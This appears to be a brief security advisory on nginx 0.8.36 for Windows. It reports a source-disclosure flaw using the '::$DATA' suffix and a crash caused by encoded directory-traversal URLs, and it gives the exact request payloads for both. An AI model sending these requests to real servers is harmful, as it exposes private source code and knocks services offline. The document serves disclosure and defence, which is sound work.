Nginx 0.8.36 – Source Disclosure / Denial of Service
Issue 1: (Remote Source Disclosure) - Description - nginx 0.8.36 is a multi platform HTTP server. This vulnerability exists in the latest Windows version of the application available. nginx on Windows is vulnerable to a remote source disclosure attack. - Technical Details - (Source Download) http://[ webserver IP][:port]index.html::$DATA Issue 2: (Remote DoS (w/ Memory Corruption)) - Description - nginx 0.8.36 (Windows) does not seem to handle encoded directory traversal attempts properly. The corrupted registers in the crash dump seem to be loaded with damaged path variables. - Technical Details - (Remote DoS) http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%20 http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%c0.%c0./%20 http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%20 These three attempts will overwrite memory registers with different parts of the internal path based on where they try and traverse to. |